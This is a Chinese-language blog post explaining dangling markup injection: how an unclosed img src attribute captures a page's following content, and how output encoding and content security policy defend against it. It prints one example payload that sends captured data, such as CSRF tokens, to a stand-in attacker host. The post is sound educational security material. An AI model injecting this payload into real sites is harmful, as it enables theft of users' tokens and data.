首页 > 其他分享 >悬空标记注入详解

悬空标记注入详解

时间:2024-11-06 18:31:41浏览次数:2  
标签:标记 URL 攻击 详解 攻击者 悬空 注入

原创 菜鸟小新

1. 简介

悬空标记注入(Dangling markup injection)是一种技术,当由于输入过滤或其他防御措施而无法进行完全的跨站脚本攻击时,它可以用于捕获跨域数据。
它可以被用来捕获其他用户可见的敏感信息,包括可用于代表用户执行未经授权操作的CSRF令牌。
该技术常常被用来执行恶意操作并获得用户的数据。攻击者利用这个技术通过构造包含特殊标记的查询字符串,从另一个域获取数据。

2. 典型注入原理

假设应用程序以不安全的方式将攻击者可控制的数据嵌入其响应中:

<input type="text" name="input" value="可控制的输入

还假设应用程序没有过滤或转义>或“字符。攻击者可以使用以下语法打破引用的属性值和封闭标记,并返回HTML上下文:

">

在这种情况下,攻击者自然会尝试执行XSS。但假设由于输入筛选器、内容安全策略或其他障碍,常规XSS攻击是不可能的。在这里,仍然可以使用如下有效负载来提供悬空标记注入攻击:

"><img src='//attacker-website.com?

该有效负载创建一个img标记,并定义包含攻击者服务器上URL的src属性的开头。但当前攻击者的有效负载不会关闭src属性,该属性保留为悬空。当浏览器解析响应时,它将向前看,直到遇到一个单引号来终止属性。直到该字符之前的所有内容都将被视为URL的一部分,并将在URL查询字符串内发送到攻击者的服务器。任何非字母数字字符(包括换行符)都将进行URL编码。

攻击的后果是,攻击者可以捕获注入点之后应用程序的部分响应,其中可能包含敏感数据。根据应用程序的功能,可能包括CSRF令牌、电子邮件或财务数据。

3. 如何防御悬空标记注入

输出编码:通过对输出数据进行编码并在到达时验证输入,可以使用与防止跨站点脚本编写相同的通用防御来防止悬空标记攻击。

内容安全策略:还可以使用内容安全策略(CSP)减轻一些悬空标记攻击。例如,可以使用防止标记(如img)加载外部资源的策略来防止部分悬空标记攻击。

4. 参考

https://portswigger.net/web-security/cross-site-scripting/content-security-policy

标签:标记,URL,攻击,详解,攻击者,悬空,注入
From: https://www.cnblogs.com/o-O-oO/p/18453163

相关文章

  • 2024网络安全面试题大全(附答案详解)看完表示入职大厂稳了
    今天为大家各大厂面试题1.深信服面试题难度系数:中一面:时间太久了,记不太清了,难度相对还是可以的二面:~sql注入的原理是什么–本质:将用户输入的不可信数据当作代码去执行–条件:用户能控制输入;;;原本程序要执行的代码,拼接了用户输入的内容,然后执行~说说Linux的信号机制?~J......
  • 23设计模式详解
    参考博客https://baijiahao.baidu.com/s?id=1758410771062793648&wfr=spider&for=pc设计模式(Designpattern)"""对软件开发中【普遍存在(反复出现)的问题】,而提出的【解决方案】。每一个设计模式系统地命名、解释和评价了面向对象系统中一个重要和重复出现的设计通过设计......
  • 线段树(Segment Tree)详解
    写在前面:此博客内容已经同步到我的博客网站,如需要获得更优的阅读体验请前往https://blog.mainjay.cloudns.ch/blog/algorithm/segment-tree1.为什么需要线段树?1.1问题起源想象这样一个场景:有一个长度为n的数组,我们需要经常进行以下操作:查询数组中某个区间[l,r]的......
  • Nuxt.js 应用中的 prerender:routes 事件钩子详解
    title:Nuxt.js应用中的prerender:routes事件钩子详解date:2024/11/6updated:2024/11/6author:cmdragonexcerpt:prerender:routes是Nuxt.js中的一个钩子,允许开发者在预渲染过程中扩展要预渲染的路由列表。这对于静态站点生成(SSG)尤为重要,开发者可以根据需求添加额......
  • 《仙剑客栈2》游戏辅助工具全面操作手册与使用技巧详解
    《仙剑客栈2》是一款结合了模拟经营和角色扮演元素的游戏,玩家在游戏中需要管理一家客栈,同时还要处理各种冒险和故事情节。风灵月影团队制作的修改器可以帮助玩家在游戏中获得更多的便利和乐趣。以下是一个全面的操作手册和使用技巧详解,帮助你更好地使用这款修改器。修改器功能......
  • 第一章 TypeScript 基础数据类型详解
    在TypeScript中,正确理解和使用各种数据类型是构建强大、类型安全的应用程序的关键。让我们深入了解TypeScript中的一些主要数据类型。一、变量声明使用`let`关键字可以定义变量。例如:leta:number=100;console.log(a);这里明确指定变量`a`的类型为`number`......
  • 银行业专业人员职业资格考试《公司信贷(中级)》机考真题精选及详解
    2022年银行业专业人员职业资格考试《公司信贷(中级)》机考真题精选及详解​1.[单选题]下列选项中,不属于保证担保的主要风险因素的是()。A.未办理相关登记手续B.保证手续不完备C.公司互保D.虚假担保人答案:A解析:保证担保的主要风险包括:①保证人不具备担保资格;②保证人不具备担......
  • 从零到精通:BLDC电机驱动电路详解与设计思路
    BLDC驱动电路的设计解析这是一个经典的无刷直流电机(BLDC)驱动电路,用于控制三相电机的转速和扭矩。BLDC电机在各种领域都非常常见,比如无人机、电动汽车、电动滑板等,原因很简单:高效、耐用、响应快。而要设计一个稳定、可靠的BLDC驱动电路,电路设计者不仅需要懂得每个模块的功......
  • YUM源服务器搭建之详解(Detailed Explanation of Building a YUM Source Server)
      ......
  • Nginx 在Linux中安装、使用、配置详解
    一、官网下载Nginx官网地址:http://nginx.org/en/download.html Linux系统中,使用wget粘贴链接进行下载wgethttps://nginx.org/download/nginx-1.26.1.tar.gz 二、上传到服务器解压1、上传到指定的服务器地址上传的地址自己决定,我上传到/usr/Nginx。2、解压......